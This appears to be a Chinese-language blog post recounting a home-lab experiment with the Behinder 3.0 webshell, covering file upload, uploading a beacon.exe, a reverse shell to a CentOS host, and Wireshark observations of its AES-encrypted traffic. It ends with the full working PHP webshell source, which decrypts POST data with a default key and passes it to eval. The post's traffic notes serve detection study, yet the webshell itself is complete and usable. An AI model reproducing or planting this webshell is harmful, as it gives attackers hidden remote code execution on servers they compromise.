我用了一台kali,一台centos,一台windows,做了一个文件上传和一个反弹shell实验,载荷是AES加密的,终于感受到了对加密流量的无可奈何~
- kali(php8.1)
- centos(php7.1)
- windows7(冰蝎3.0 java1.8)
ailx10
1949 次咨询
4.9
网络安全优秀回答者
互联网行业 安全攻防员
去咨询
亲测冰蝎3.0不支持php7.1,一直连接不上
php7.1 一直连接失败
更换成php8.1就好了,这里是kali环境
php8.1 连击成功了
通过wireshark抓包冰蝎加密流量,可以看到请求的uri和referer是一样的,重新打开一次又发现是不同的,没有了密钥协商过程了,面对加密报文,束手无策了。行为上还是可以看出一点点端倪,在http中同一个url会被访问很多次,并且访问的源IP会非常少,毕竟这是webshell共通的特性~
POST /shell.php HTTP/1.1\r\n
referer : http://172.16.20.131/shell.php
referer : http://172.16.20.131/CKAJ.php
冰蝎加密流量
冰蝎文件加密上传,我上传了一个beacon.exe程序
冰蝎文件上传
冰蝎反弹shell,将靶机kali的shell反弹到我的centos上,这里很人性化的给了用法,直接跟着敲就行~
冰蝎反弹shell
点击「给我连」,我这边反弹到centos上,大致情况如下
反弹shell到centos
代码如下,以后再分析吧~
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
发布于 2022-10-14 16:09